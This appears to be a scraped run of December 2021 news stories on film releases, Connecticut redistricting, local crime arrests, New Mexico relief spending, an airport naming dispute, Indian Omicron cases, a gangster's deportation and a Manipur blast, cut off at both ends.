as chairman of the Libertarian Party of Washington, DC, and ran for DCs Delegate to Congress in 2020. Follow him on Twitter @PatrickHynesDC Universal Pictures has pushed back action sequel Fast & Furious 10 to May 19, 2023. ADVERTISEMENT The film, from frequent series director Justin Lin , was originally set to hit theaters on April 7, 2023. Universal has instead moved an untitled DreamWorks Animation film into the April 7, 2023 release date. The latest entry in the Fast & Furious series titled F9: The Fast Saga, came to theaters in June. The film grossed $726.6 million worldwide. Series stars Vin Diesel, Michelle Rodriguez, Tyrese Gibson. Chris 'Ludacris' Bridges, Jordana Brewster, Nathalie Emmanuel and Sung Kang are all expected to return for Fast & Furious 10. The end credits scene for F9: The Fast Saga featured Jason Statham returning to his role as Deckard Shaw. Lin will also be directing Fast & Furious 11, which is meant to close out the franchise's main series of movies. Diesel, in November, asked Dwayne Johnson to return to the series for Fast & Furious 10. Johnson starred in the action films until he had a falling out with Diesel in 2016 on the set of The Fate of the Furious. Matthew McConaughey joined Jimmy Fallon for a performance of "This Christmas Will Be Different" on The Tonight Show. ADVERTISEMENT The performance on Tuesday featured the duo singing about how this year's Christmas will be better than last year's while they celebrated the holidays backstage. McConaughey and Fallon were surrounded by holiday decorations and mimicked family Christmas parties. Haim also joined in and performed. "This Christmas will be different/ Than Christmas from last year/ Somebody check on uncle/ That's like his seventh beer/ Let's not talk politics/ No need to fight/ Let's make this Christmas/ Alright, alright, alright," McConaughey and Fallon sang together. The performance ended with McConaughey, Fallon and Haim entering the main Tonight Show stage where they sang and danced as snow fell from above. McConaughey also discussed with Fallon why he recently decided not to run for Texas governor. The actor said he considered running for two years. "At this point in my life with the things I've got, a 13-year-old, an 11-year-old, an 8-year-old, the life I'm living right now, the storytelling I want to keep doing, its not the category for me at this point in my life," McConaughey said before Fallon asked him if he was still not ruling out a potential run in the future. "I'm not until I am," he said. FOLLOW REALITY TV WORLD ON THE ALL-NEW GOOGLE NEWS! Reality TV World is now available on the all-new Google News app and website. Click here to visit our Google News page, and then click FOLLOW to add us as a news source! McConaughey lends his voice to animated sequel Sing 2, which comes to theaters on Dec. 22. After nearly 80 years of service to all corners of the local music industry, Chick Music is closing its doors. Wednesday, Dec. 15 will be the last day of operation for the family-owned instrument sale and repair store located on Clayton Street. It is one of the oldest stores in downtown Athens, first opening its doors in 1942. From set roleplaying communities to curious new adventurers, D&D groups have spawned and respawned throughout Athens over the past year. Reality didnt cut it, and fantasy offered some much-needed escapist fun. The Athens-Clarke County Library is currently featuring Furthermore, an exhibit of over 35 pieces by acclaimed local artist Lisa Freeman. The exhibit opened on Nov. 7 and will remain open through Jan. 2. Brattleboro, VT (05301) Today Mostly cloudy skies early, then partly cloudy after midnight. A few flurries or snow showers possible. Low near 30F. Winds SW at 5 to 10 mph.. Tonight Mostly cloudy skies early, then partly cloudy after midnight. A few flurries or snow showers possible. Low near 30F. Winds SW at 5 to 10 mph. Brattleboro, VT (05301) Today Considerable clouds this evening. Some decrease in clouds late. A few flurries or snow showers possible. Low 29F. Winds SW at 5 to 10 mph.. Tonight Considerable clouds this evening. Some decrease in clouds late. A few flurries or snow showers possible. Low 29F. Winds SW at 5 to 10 mph. As a group of Republican and Democratic lawmakers continue to hash out what Connecticuts new congressional map should look like, one concept that has emerged is to redraw the boundaries with an eye toward grouping communities with economic, cultural or geographic ties into the same district. Federal agencies such as the Census Bureau and Commerce Department use communities of interest to define so-called metropolitan statistical areas such as greater New Haven and the Stamford-Norwalk-Bridgeport corridor. Some people involved in redistricting for Congressional seats, chiefly House Minority Leader Vincent Candelora, R-North Branford, say the political mapmakers now facing a deadline should follow suit. Candelora said one idea is to move Torrington, one of biggest urban centers in the northwest corner, entirely into the 5th District, which is represented by Democratic U.S. Rep. Jahana Hayes. Most of the city is currently represented by U.S. Rep John Larson, D-1st District. And more broadly, Candelora argues that the lobster-claw shape of the 1st District arose only because former Rep. Nancy Johnson, a New Britain Republican, would otherwise have been moved out of her own district when Connecticut lost a congressional seat in 2002. The new maps should retire that odd shape, he said. Republicans, who havent held a congressional seat in Connecticut since 2008, see the 5th as the most competitive congressional race in the state in next years 2022 midterm elections. But Candelora said the proposal isnt meant to favor politics, rather to focus on what makes sense geographically. Theres other conversations we could have in redistricting besides just the political competitiveness, he said. We owe it to the voters to have a broader conversation. The 5th District includes New Britain, Farmington, Avon, Simsbury and Canton inside that lobster claw, while the 1st District, centered in Hartford, includes most of Torrington and all of Winchester and Barkhamsted, with Winsted, further to the west along the Route 8 corridor. As a result, Candelora said, the 5th lacks the sort of economic corridor that exists in other districts. He pointed to the focus in the 2nd District in eastern Connecticut on submarine manufacturer Electric Boat, the Naval Submarine Base, and the states two tribal-owned casinos. The 4th District is home to Bridgeport, Stamford and Norwalk. And the 3rd and 1st are dominated by New Haven and Hartford, respectively. Democrats on the nine-member Reapportionment Commission, tasked with redrawing the political boundaries to account for population changes over the last 10 years, largely want to stick with the status quo and make only minimal changes required to equalize populations across districts. In my opinion, there doesnt need to be any major changes, just nips and tucks here and there, said Senate Majority Leader Bob Duff, D-Norwalk, repeating a phrase he used in an earlier news story, which led Candelora to disagree. Each of the five redrawn congressional districts must have a population at or near 721,188. Areas in the western half of the state such as Stamford grew in population by as much as 10 percent whereas towns in eastern Connecticut saw significant declines in population. That means U.S. Rep. Joe Courtneys 2nd District in eastern Connecticut needs to grow by about 21,000 people. On the other side of the state, there are now about 25,000 too many residents in the 4th District in the southwest, which is represented by U.S. Rep. Jim Himes. Candelora said it would make more sense to move Portland or Glastonbury from the 1st into the 2nd as opposed to shifting the district west and including Guilford. Given Guilfords proximity to New Haven County, Im not sure it serves as an eastern Connecticut community. Going north makes more sense, he said. Oxford, which is currently in the 4th, could move into the 5th, Candelora said. And Cheshire, Meriden, and Wallingford, which are split between the 5th and 3rd, fit together and could all be grouped together in one district, he said. Democrats declined to comment publicly on specific details under consideration. The commissions members exchanged map proposals over the weekend and continue to discuss various options behind closed doors. I dont want to negotiate in public, Duff said. But its clear Democrats are not interested in straying far from the current congressional map, which was approved by the state Supreme Court 10 years ago after lawmakers failed to meet the deadline to get it done. We cant ignore that was a court-approved map, said House Speaker Matt Ritter, D-Hartford. I think that map stands as the opening salvo of negotiations. The commission is now under court supervision again after missing the Nov. 30 deadline to complete the new congressional boundaries. Members, who are on an expedited deadline this year due to a four-month delay in getting 2020 Census data, agreed on new state House and state Senate maps ahead of the deadline. The Supreme Court granted an extension for the congressional boundaries until noon on Dec. 21 but ordered the commission to come up with suggestions of people who could serve as a court-appointed special master, who will oversee the process if the commission fails to meet the extended deadline. We have not hit an impasse, but we certainly havent hit an agreement, Candelora said. Were continuing to talk about what a map would look like that we could all vote for. Both Candelora and Ritter acknowledged added pressure on the redrawing of congressional districts given next years midterm election, when Democrats will be fighting to keep their slim majorities in the House and Senate. On a national level, Democrats are concerned about losing upward of 70 seats in the upcoming election cycle, Candelora said. So an old reliable like Connecticut, they would like to make sure its not in play. We feel the weight of it, Ritter said. There are implications far beyond Connecticut. julia.bergman@hearstmediact.com NEW HAVEN A city man was shot in Fair Haven Monday night, according to police. Officers received a Shotspotter alert and 911 calls regarding gunfire on Grand Avenue, between Hamilton Street and Wallace Street, around 7:37 p.m., Officer Scott Shumway said in an email. Responding officers located a 28-year-old New Haven man who had been struck by gunfire. American Medical Response transported the victim to Yale New Haven Hospital where he was listed in stable condition, said Shumway. The departments Major Crimes Unit, which handles shootings and other such incidents, and Bureau of Identification, which collects and processes potential evidence, responded to the scene, Shumway said. The investigation is ongoing. On behalf of the department, Shumway asked that any witnesses who have not yet spoken with police contact the New Haven Police Department Investigative Services Division at 203-946-6304. He said callers may remain anonymous or submit tips anonymously by calling 1-866-888-TIPS(8477), or texting NHPD plus the message to 274637 (CRIMES). As of Dec. 5, there had been 102 nonfatal shootings so far this year in New Haven, according to the latest statistics from police. At this time in 2020, there had been 106 such shootings. Between 2012 and 2019, the number of nonfatal shootings that occurred by Dec. 5 ranged between 48 and 80. In 2011, there were 125 by that time. william.lambert@hearstmediact.com SANTA FE, N.M. (AP) The New Mexico state Senate voted Friday in favor of a spending plan for $478 million in federal pandemic relief to expand highways, internet infrastructure, electric vehicles and oil field cleanup efforts. Included in the bill is $133 million in spending on internet projects, including alternative broadband using emerging technologies like wireless towers, blimps and new satellite internet networks. The sparsely populated rural state has struggled for years to dig the trenches and lay the fiber optic cable necessary to expand internet access. The issue was pushed to the forefront during the pandemic, when poor internet access led to inequalities in online education and healthcare access. Legislators hope that an influx in federal funding and the creation of a dedicated state broadband office will help accelerate internet connectivity efforts, especially in rural communities. While students are now back to school in person, theyre still expected to attend virtual classes when theres bad weather, or if theyre quarantined due to a COVID-19 exposure even though thousands of children lack access to quality internet, according to a fall state Public Education Department. Theres no such thing as a snow day anymore, said bill sponsor Sen. George Munoz of Gallup, in northwestern New Mexico. The state Senate voted 36-4 in favor of the bill, returning it to the House to approve recent amendments. The measure is expected to pass and preserves priorities added by the House, including $2 million for teacher loan repayment and $50 million for a rural hospital. The money would come from the some $1 billion in federal funds the state legislature is working to allocate after the state supreme court ruled last month that Gov. Michelle Lujan Grisham had no right to allocate the funds herself. The Legislature is on track to put around half of that money in the general fund, allowing it to allocate the money next year. Lujan Grisham has urged the Legislature to move quickly on pandemic aid spending. The Democratic governor had vetoed Legislature allocations of the federal pandemic relief funds this spring, sparking a rare public dispute between her and the Democratic majorities in the state House and Senate. The Legislature sued and ultimately won their argument in court that the Legislature has the power of the purse, even when the money comes from federal funding. ___ Attanasio is a corps member for the Associated Press/Report for America Statehouse News Initiative. Report for America is a nonprofit national service program that places journalists in local newsrooms to report on under-covered issues. Follow Attanasio on Twitter. NORWALK A city man with multiple active warrants from local authorities and in two other states was taken into custody this week in connection with several incidents, police said. Shane Tomlin, 32, of Soundview Avenue, was taken into custody Monday, Sgt. Sofia Gulino said. He was charged with second-degree threatening, risk of injury to a child, third-degree assault, disorderly conduct, engaging police in a pursuit, reckless driving, failure to drive in a proper lane, improper turn and fugitive from justice. Gulino said Tomlin was accused of threatening in a domestic violence-related case on Oct. 25. A warrant was issued for his arrest. A month later on Nov. 25, Gulino said, Tomlin was accused of assault and other offenses in another domestic violence case. A second warrant was issued for his arrest. The same day as the November assault, officers spotted Tomlin and he led them on a pursuit, Gulino said. A warrant for that incident was also granted. Tomlin also had an active warrant in New York in Westchester County in connection with a violation of probation charge stemming from a case where he was accused of third-degree robbery, Gulino said. The warrant there is extraditable. Tomlin was also wanted by authorities in the Rockingham County Sheriffs Office in Virginia for allegedly having a gun after having been convicted of a felony offense, Gulino said. Members of the Special Services Division found Tomlin walking on Soundview Avenue on Monday and took him into custody without incident. He was taken to police headquarters and held on a combined $300,000 bond. Westchester County Department of Public Safety and Rockingham County Sheriffs Office were advised of the arrest. SEATTLE (AP) The CEO of a Seattle-based affiliate of Planned Parenthood has been removed from her position after controversy following a donors use of a racist term in a meeting. Chris Charbonneau was ousted last week as head of Planned Parenthood Great Northwest, Hawaii, Alaska, Indiana, Kentucky, the Seattle Times reported. The organization said a donor used a racist term to refer to Black people this fall and Charbonneau repeated the word while discussing the meeting with another staffer. Charbonneau and the board have differing accounts of how she reacted to the donors use of the word, which the former CEO said was in the context of comparing the treatment of women impacted by abortion restrictions to the mistreatment of Black people. Board members Jeff Sprung and Colleen Foster said in an email to the newspaper an investigation found Charbonneau did not admonish the donor. Charbonneau, who is white, said she was upset by the use of the racist term and told the donor, also white, the word shouldnt have been used. While Charbonneau has not been given a copy of the investigations findings, she said she was told by the board that the members found her account of the meeting truthful. The reproductive rights affiliate operates in six states and employs 700 people. Charbonneau said she was upset at being painted as racist for, as she described it, quoting what someone else had said, including using the words quote unquote. If I had to do it over again, I would not have used that actual term, Charbonneau said. I was astonished at the sort of cavalier disregard with which my 40-year commitment was being treated. The board appointed Rebecca Gibron, who had been serving as chief operating officer and previously led Idaho Planned Parenthood, to head the Seattle-based affiliate while a national search for a CEO is underway. BRIDGEPORT Aviation pioneer Igor Sikorskys sons want the citys Stratford-based airport to continue to be named after their father, whom Bridgeports website describes as its most famous tenant. Sergei Sikorsky, 96, of Arizona, and Igor Sikorsky Jr., 92, of Unionville, in separate interviews Monday weighed in on the controversial proposal by Mayor Joe Ganims administration to rebrand the Igor I. Sikorsky Memorial Airport the Bridgeport Sikorsky Memorial Airport. Its been named after my father now for, its gotta be half a century, Sikorsky Jr. said. The facility was dedicated to Sikorsky Sr. in 1972, the year the Russian immigrant, who invented the first practical helicopter, constructed seaplanes or flying boats and founded the namesake Stratford-based aircraft manufacturing giant, died. Sergei Sikorsky, a retired Sikorsky Aircraft executive, said, I personally would be a bit disappointed if the name were diluted. Bridgeports airport commission last week passed the change to rename the airport, with the only non-Bridgeport official who has a seat on that body, Stratford Mayor Laura Hoydick, voting no. But an error in publicizing the meeting requires that group hold a do-over under the state Freedom of Information Act, so the name switch is not yet official. Ganims administration, which is seeking to lease and possibly eventually sell Sikorsky Airport to the Connecticut Airport Commission, wants to ensure the facility remains associated with Bridgeport for marketing purposes. Hoydick in her weekly email newsletter to constituents last Thursday defended her opposition, stating, I feel this proposed name change diminished the honor given to the airports namesake and the importance of this aviation and engineering giant to the history and industry of our region. Sikorsky Jr. echoed that sentiment Monday. He said the issue is not just about his father, but about the airports and Stratfords connections to aviation history. You take all that, and all that centers around the airport, Sikorsky Jr. said. I dont want to cast any aspersions on Bridgeport, but the airport really is saturated with Stratford aviation history. Beyond that, Hoydicks chief-of-staff, Michael Downes, in a statement Friday acknowledged the town, while not owning the airport, has an interest in making sure people understand it is located there, not Bridgeport. Theres really no way you can change the geographic fact its in Stratford, but (renaming Sikorsky) certainly does, Downes said. I think theres no way to escape that naming it (after Bridgeport) certainly also diminishes Stratfords role in the airport and its association. Sikorsky Memorial has had other names. It was originally known as Mollison then Avon Field before the city purchased the site in 1937. It was Bridgeport Municipal Airport for the first few decades, Ganim aide Danny Roach noted last week. Roach declined comment Monday on the Sikorsky brothers comments but said he may try to contact them. The name Igor I. Sikorsky Memorial Airport has outlasted all others. And making a change now could potentially pose practical issues, Sergei Sikorsky said, including paperwork changes that are going to cost some taxpayer, somewhere, money. Both men are still active with helping to promote their fathers legacy. Sergei said he intends to be in Stratford early next year for Two Roads Brewerys annual release of its Russian Imperial Stout named after Sikorsky Sr. And Sikorsky Jr. said he is scheduled to appear at the town library to sign copies of his book exploring the connection between his father and another famous aviator, Charles Lindbergh. But, Sergei Sikorsky said, while he and his brother have their personal opinions, the choice of what to call Sikorsky Memorial is not theirs to make. Its a decision that has to be made by Bridgeport and the local authorities, Sergei Sikorsky said. Certainly not by me. STAMFORD After more than a year on the run, a suspect in a fatal stabbing in Stamford was arrested in Texas late last month. The U.S. Marshal Fugitive Task Force apprehended Samuel Delfiro Zapata-Herrera, 30, on the outskirts of Houston Nov. 23 on a fugitive from justice warrant, according to Capt. Richard Conklin, who oversees Stamfords Bureau of Criminal Investigations. Zapata-Herrera was wanted in connection to the fatal stabbing of Isaias Sagastume-Aceituno outside of a bar on Stillwater Avenue on Oct. 4, 2020. Conklin said Zapata-Herrera is currently in the process of being extradited back to Connecticut, where he is expected to be charged with murder. Zapata-Herrera emerged as a suspect in the fatal stabbing based on video footage captured near the scene of the incident. While police originally had two people of interest in the investigation, Conklin said Zapata-Herrera eventually became the sole suspect after investigators learned that the second man in question apparently had left the scene before the stabbing. Police said Sagastume-Aceituno was found on Stillwater Avenue around 9:20 p.m. that night, suffering from multiple stab wounds. Firefighters and medics administered aid, but to Sagastume-Aceituno died before he could be transported to the hospital, police said. An investigation revealed that Sagastume-Aceituno and the alleged suspects were inside a local restaurant just down the hill from where he was found stabbed, police said. At one point, video shows a group of men, including Sagastume-Aceituno, move outside the restaurant and then a struggle between to Sagastume-Aceituno and two men who appear to assault him, police said. After the struggle, Sagastume-Aceituno walks away from the scene and collapses, police said. He was discovered by a passing citizen who flagged down police. Police publicly identified Zapata-Herrera as a suspect days after the incident, but the Guatemalan native was believed to have already fled the area. Police said at the time that they believed he may have been trying to get back to Guatemala. TORRINGTON For people who want to have a scene of Torrington on their tree, theres a holiday ornament collection on sale now, just in time for Christmas. The citys commemorative ornaments are $15 each, and are being sold at Kellys Crystals on Main Street and Petricones Pharmacy and Nutmeg Fudge on East Main Street. KidsPlay Childrens Museum also is selling its own limited edition ornament, available only at the museum; and the Torrington Librarys ornament is also available for sale at the library. The commission earns $1 for each ornament sold, and those who are selling them also get a commission. This year we wanted to help retailers make a little money, and theyre a cool thing to buy because they promote community spirit, said commission member Ed Cannata, a member of Main Street Torrington. The 2021 ornament of Franklin Plaza sold out quickly, and more are on the way, Cannata said. We also reissued the Christmas Village one, and we have others too, he said. The ornaments are made by Cats Meow Village in Ohio, which is known for its wooden Christmas villages and decor. Theyre known in the gift industry for many years, Cannata said. Theyre sold by Hallmark, so I reached out to them; they make a very fine product. This year, the ornaments are also being sold in New Hartford. The commission reached out to Joe Petricone (who has a pharmacy next door to the New Hartford House that burned down earlier this year) and asked if we could make a special New Hartford House ornament, Cannata said. On Small Business Saturday, we had 100 ornaments and they sold out. Weve ordered 150 more, and Petricones is donating the proceeds to New Hartford, to help out. Thats the idea this year to help out, he said. Were not really making anything on them, but thats not why were doing it. Find information on the Torrington ornaments on Facebook at www.facebook.com/artsculturetorrington. This page requires Javascript. Javascript is required for you to be able to read premium content. Please enable it in your browser settings. Actor Ranbir Kapoor on Wednesday paid tributes to his late father Rishi Kapoor during the motion poster launch of his latest film "Brahmastra", saying he hopes to make the veteran actor proud when the long-in-the-works movie is released next year. The much-awaited big-budget fantasy adventure epic, which is envisioned as a trilogy, features Ranbir as Shiva, a man with supernatural powers. Written and directed by Ayan Mukerji, "Brahmastra" is billed as one of the biggest films to come out of the country. At the film's fan launch event here, Ranbir Kapoor got emotional and recalled the conversations he had with his late father about the film, which was in the making for eight years. Rishi Kapoor passed away in 2020. "I miss my father terribly today. I remember during the making of the film, he kept fighting with Ayan and me, and kept questioning us. "'What are you doing? Who takes so long to make a film? Who spends so much money? Ranbir, you are not making a penny on this film. Who will watch a VFX film in the country?' But I believe he is here somewhere and I hope he is proud. I hope he is smiling," Ranbir Kapoor said. The 39-year-old actor also asked the audience to join in as he paid tributes to the late star and sang a few lines of the actor's popular song "Om Shanti Om" from the 1980 romantic-thriller "Karz". "Kya tumne kabhi kisi se pyaar kiya? Kabhi kisi ko dil diya? Maine bhi diya," the "Tamasha" actor said as the fans joined him. Ranbir Kapoor then said that if one were to talk about "heart and love", he had to call his "Brahmastra" co-star Alia Bhatt, his girlfriend, on the stage. Bhatt, who was joined by Mukerji at the event, said she got emotional hearing Ranbir Kapoor speak about his father. "I am sorry but right now I am a little emotional because of what you said. I immediately started to..." Bhatt said fighting back tears as Ranbir patted her back. The one-minute motion poster teased the world of "Brahmastra", with Ranbir Kapoor's Shiva showcasing his supernatural power - that of fire. The video, which also features the voice over of Bhatt and foreshadows a life-changing event on Earth, ends with Ranbir Kapoor standing tall with a trident of fire against the backdrop of a giant statue of Lord Shiva. Bhatt, who plays Isha in the film, said it was a "big day" for the film's team as they finally unveiled the motion poster to the fans. The film was announced in 2014 with a scheduled release in 2016, but got delayed. It eventually went into production in 2018. Several release date changes and one nationwide lockdown later, "Brahmastra" is finally set to be released on September 9, 2022. "This has been such a long journey. It is a big day for us. I am shaking," Bhatt, 28, said. Backed by filmmaker Karan Johar, "Brahmastra" also features megastar Amitabh Bachchan and Nagarjuna. Get the latest entertainment news from India & around the world. Now follow your favourite television celebs and telly updates. Republic World is your one-stop destination for trending Bollywood news. Tune in today to stay updated with all the latest news and headlines from the world of entertainment. The COVID-19 count in Nashik district of Maharashtra rose to 4,13,056 with an addition of 77 new cases on Wednesday, while a foreign national who has arrived here from Africa has tested positive for coronavirus, civic health department officials said. With one more fatality recorded in the last 24 hours, the death toll in the district increased to 8740, they said. Also, 28 patients were discharged from hospitals following their recovery, taking their cumulative count to 4,03,915, the officials said. As many as 29,57,252 swab samples have been tested till date, of which 5,037 were examined during the day, they said. Meanwhile, one of the three persons from Mali in West Africa, who visited a company in Satpur MIDC in the district on Sunday, has tested positive for coronavirus, the officials said. The trio is on a business-related tour. Swab samples of the 49-year-old Mali citizen have been sent for genome sequencing to the Pune-based National Institute of Virology to find out if he has been infected with the new coronavirus variant Omicron, they said. He was admitted to a Nashik Municipal Corporation (NMC)-run hospital on Tuesday, the officials said. His two colleagues, whose coronavirus tests have come negative, have been quarantined in the hotel they were staying, they said. In addition, the NMC conducted coronavirus tests on 12 employees of the hotel and all of them returned negative results, the officials said. (Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com) Commemorating India's 1971 victory over Pakistan that led to the liberation of Bangladesh, and of which he was an integral part, Colonel Virender Kumar Sahi, Vir Chakra, said the adage - 'Friends can be changed, Neighbours cannot' - doesn't apply to the Indian Army as its 1971 war victory proved with the formation of Bangladesh. "Saying 'Friends can be changed, Neighbours cannot' doesnt imply for Indian Army. We changed our neighbour in 1971 and the Indian Army (can) dare to do it again," the 1971 war hero, Col Virender Kumar, Sahi said. Col VK Sahi, Vir Chakra, got the opportunity to serve his country on the battlefield after writing to then Indian Army Chief, General Sam Manekshaw, requesting a posting near the battlefield. In 1971, Col Sahi was deployed in the western sector of Chamb in Jammu where Pakistan had nefarious plans to cut Poonch, Rajouri and Nowshera from the rest of India. Speaking to Republic Media Network, the 1971 War Hero said that on witnessing casualties of his injured battalion members returning from war, he was finding it difficult to stop himself from moving to the frontline. "Once they were in battle, they were having casualties- some dead some wounded. The wounded, through hospitals, were landing back in the Gwalior Regimental Centre. Whenever I went to look them up - leg blown off on a mine, hand chopped off, bullet injuries - I used to feel a sense of guilt being an able-bodied, trained, energetic, young warrior soldier sitting in a Peace Station when the battle is on and my colleagues are fighting," he said. Subsequently, Col Sahi wrote to the then Indian Army chief General Sam Manekshaw to get himself posted on the frontline as he had pledged to protect his country's borders when he joined the Indian Army soon after the 1962 war. After his letter reached General Manekshaw, Col Sahi was posted to the Chamb sector where Pakistan was planning something big-- reportedly big enough to make up for the loss which it was about to suffer in East Pakistan (Bangladesh). Col Sahi recalls how despite being low on numbers, he choose not to back off and gave the enemy a befitting reply and the post -Lalyali - he was holding, remains with India forever and the Tricolour is hoisted there with pride. Two foreign nationals who arrived here from abroad have tested positive for the new coronavirus variant, Omicron, a health official said on Wednesday. A 24-year-old woman from Kenya and a 23-year-old man from Somalia landed in the city on December 12, Telangana Director of Public Health G Srinivasa Rao told reporters in Hyderabad. They tested positive for Omicron on Tuesday night during genome sequencing. However, both are asymptomatic, Rao said. Though they did not come from 'at risk' countries, their samples were sent for genome sequencing as per protocols. International passengers arriving from 11 countries that have been declared "at risk," are being subjected to RT-PCR tests. The two close contacts of the Kenyan woman have been identified and their samples sent for COVID-19 testing. She was admitted to the state-run Telangana Institute of Medical Sciences (TIMS) in the city while the Somalian national would also be referred to TIMS. The senior health official appealed to the people to strictly follow COVID-appropriate behaviour to prevent the spread of infection. The state government is gearing up for any possible threat of another wave, he said adding the surveillance system at the international airport here would be further strengthened. He warned of action against those spreading false information on social media vis-a-vis the virus. Noting that Omicron variant may be airborne, Rao stressed on the need to wear masks and follow other precautions against COVID-19. The official said there is no community transmission of Omicron in Telangana so far. (Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com) Gangster Suresh Pujari, who is wanted in several extortion cases has been deported to India from the Philippines and is currently in the custody of the Maharashtra Anti-Terrorism Squad. Suresh Pujari was deported to Delhi on Tuesday, where his custody was taken by Intelligence Bureau (IB) and CBI officials, said State Home Minister Dilip Walse Patil. Pujari is now under the custody of Maharashtra ATS and will be produced in the Thane court today. The ATS will seek Pujari's remand to investigate the extortion cases against him, Patil added. Suresh Pujari is wanted in extortion cases in Mumbai and Karnataka and several other places like Thane, Kalyan, Ulhasnagar, and Dombivli. The Mumbai and Thane police had issued red-corner notices against him in 2017 and 2018 respectively after several extortion cases surfaced against him. The gangster, who is also a close relative of Ravi Pujari was on the run for over 15 years and was nabbed in the Philippines in October. Overall, the authorities have registered 23 extortion cases against him in Thane. Suresh Pujari separated from gangster Ravi Pujari in 2007 and fled abroad. He initially started working with underworld don Chhota Rajan and Ravi Pujari and later formed his own gang, according to officials. Ravi Pujari arrested Earlier, fugitive gangster Ravi Pujari was arrested and brought to Mumbai. The 59-year-old gangster was on the run since 1994 before he was arrested in Senegal last year. Mumbai Police had sought his custody in connection with the 2016 Ghazali Hotel firing case. Ravi Pujari is wanted in 49 cases, which includes charges of murder, attempt to murder, and extortion. He was extradited to India from Senegal in February 2020 was kept in Karnataka jail, as he was being tried in the state. He has the most number of cases registered against him in Karnataka. Special MCOCA court had earlier convicted 10 members from his gang in 2018 for threatening to kill producer-director Mahesh Bhatt and his family members. Image: PTI/Republic In the latest development, gangster Suresh Pujari has been remanded to the custody of the Maharashtra Anti-Terrorism Squad till December 25. Pujari was presented before the Thane Court on Wednesday after he was deported from the Philippines. The court has now remanded him to Maharashtra ATS custody for 10 days. The fugitive gangster was deported to Delhi on December 14 where his custody was taken by Intelligence Bureau (IB) and CBI officials. "The ATS will seek Pujari's remand to investigate the extortion cases against him, Maharashtra Home Minister Dilip Walse-Patil had informed. He is wanted in extortion cases in Mumbai and Karnataka and several other places like Thane, Kalyan, Ulhasnagar, and Dombivli. The Mumbai and Thane police had issued red-corner notices against him in 2017 and 2018 respectively after several extortion cases surfaced against him. WATCH | Extortion Case: Gangster Suresh Pujari remanded to police custody until December 25. Tune in to watch breaking updates here - https://t.co/rGQJsiKgt2 pic.twitter.com/jWfINKNFZy Republic (@republic) December 15, 2021 Gangster Suresh Pujari deported from Philippines The wanted gangster was arrested in the Philippines on October 15 by the Philippines fugitive search unit. According to officials, Suresh Pujari is said to be a close relative of gangster Ravi Pujari was on the run for over 15 years. He initially started working with underworld don Chhota Rajan and Ravi and later formed his own gang, officials said. Suresh Pujari is said to have separated from Ravi Pujari in 2007. After fleeing abroad, he lived under fake identities in different countries. The history-sheeter has at least 23 extortion cases against him in Thane. Several of these cases pertain to extortions of hotel and bar owners. Last year, fugitive gangster Ravi Pujari was also arrested and brought to India. He was extradited from Senegal to Bengaluru via France in February 2020. The 59-year-old Bollywood extortionist was on the run since 1994 before he was arrested in Senegal. Mumbai Police sought his custody in connection with the 2016 Ghazali Hotel firing case. A special MCOCA court had previously convicted 10 members from his gang in 2018 for threatening to kill producer-director Mahesh Bhatt and his family members. Ravi Pujari is wanted in 49 cases, which includes charges of murder, attempt to murder, and extortion. A Red Corner Notice was issued against him in 2002. (With agency inputs) In a shocking development, an IED explosion has taken place in the Imphal East area in Manipur. The bomb blast took place at a pharmacy on Tinsid road of Lamlong area in Imphal East. According to the information accessed from the blast site, the explosion happened earlier in the day on December 15 and no causalities have so far been reported. The powerful IED explosion has triggered security alarm in the region. Following the blast, security has been beefed up in Imphal and an investigation has been launched into the incident. According to the information accessed by the Republic TV, the blast took place at around 6.30 a.m. No causalities have so far been reported as the blast took place early in the morning. The police rushed to the explosion site and further investigation is underway, with the security beefed up in the region. A similar blast had happened back in November when an IED blast was reported at a shop in Imphal East district. The blast had taken place at around 4 a.m. and similar to the latest case, no causalities were reported from the incident. The north-eastern state of Manipur has been under heavy surveillance of defence experts and paramilitary personnel ever since the ambush on an Assam Rifles convoy. Security ramped up in the state after the Manipur ambush Earlier in a tragic incident, terrorists carried out an IED blast to ambush the convoy of 46 Assam Rifles Commanding Officer Colonel Viplav Tripathi and then fired at the vehicles in Churachandpur, Manipur on November 13. During the attack, six people including Colonel Viplav Tripathi, his wife, his son, and four soldiers were killed while many others were left injured. According to sources, the attack was carried out as Colonel Tripathi had recently busted a drug racket in a major operation, which resulted in a huge money loss for the narco-terrorists. The Indian Army is well aware of the fact that the narco money is funding terrorists in the Northeast and Northwest regions of India. Also, China has decided to up its game due to Indias involvement in the South China Sea, Taiwan, and in Chinese affairs in the Tibet region. A similar tragic incident occurred in 2015 where 18 Army soldiers were killed in the Chandel district. The security in the region saw a major boost following the incident. Image: REPUBLICWORLD Telangana and West Bengal reported their first cases of the Omicron variant of COVID-19 on Wednesday, while four more persons tested positive in Maharashtra. So far, Maharashtra has reported the highest number of cases at 32, followed by Rajasthan at 17. Omicron cases have also been reported in Karnataka (3), Gujarat (4), Kerala (1), Telangana (2), West Bengal (1) and Andhra Pradesh (1) and Union Territories of Delhi (6) and Chandigarh (1). With this, the tally of the Omicron variant cases in the country has risen to 68. A 24-year-old woman from Kenya and a 23-year-old man from Somalia, who landed in Hyderabad on December 12, have tested positive for the variant, a Telangana health official said on Wednesday. State Director of Public Health G Srinivasa Rao told reporters that the two foreign nationals were asymptomatic. Though they did not come from 'at-risk' countries, their samples were randomly collected and sent for genome sequencing in line with the protocols. The two close contacts of the Kenyan woman have been identified and their samples sent for COVID-19 testing. She was admitted to the state-run Telangana Institute of Medical Sciences (TIMS) in the city. The Omicron-positive Somalian national could not be tracked immediately. He was, however, found later on Wednesday and shifted to the TIMS, Rao said. West Bengal officials said that a seven-year-old boy, resident of Murshidabad district who recently returned from Abu Dhabi via Hyderabad, tested positive for the new coronavirus variant He left for a relative's place in Malda from Kolkata airport. "The boy flew with his parents from Abu Dhabi to Hyderabad, where he tested positive for Omicron. He had not entered Hyderabad city. He returned to Kolkata on December 11." "The state health department was alerted about his Omicron report by authorities in Hyderabad only on Wednesday morning," the senior official said. The boy has been shifted to a hospital in Malda, he said. Of the total 32 patients in Maharashtra, 25 have been discharged after a negative RT-PCR, the state health department said. "As per the report given by the National Institute of Virology today, 4 more patients were found to be infected with Omicron in the state. Out of these four patients, two are from Osmanabad, one from Mumbai and one patient is from Buldhana," the department said in a bulletin. Three of the four new cases are of vaccinated individuals. One is a woman and three are men - all between the age group of 16 years and 67 years. More cases of the Omicron variant of coronavirus are likely to come to the fore in January next year 